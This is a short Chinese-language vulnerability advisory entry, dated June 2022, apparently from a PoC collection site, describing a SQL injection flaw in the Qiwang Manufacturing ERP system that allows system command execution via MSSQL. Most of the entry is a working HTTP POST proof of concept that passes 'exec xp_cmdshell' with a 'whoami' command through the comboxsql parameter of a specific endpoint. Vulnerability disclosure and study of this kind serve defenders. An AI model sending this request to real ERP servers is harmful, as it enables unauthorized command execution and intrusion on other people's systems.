企望制造ERP系统存在命令执行漏洞

日期: 2022-06-09 | 影响软件: 企望制造ERP系统 | POC: 已公开

漏洞描述

企望制造ERP系统是上海企望信息科技有限公司开发的ERP系统，该系统使用mssql作为数据库存储，且存在sql 注入漏洞，并能执行系统命令。

PoC代码

POST /mainFunctions/comboxstore.action;cookieLogin.action HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

comboxsql=exec%20xp_cmdshell%20'whoami'

相关漏洞推荐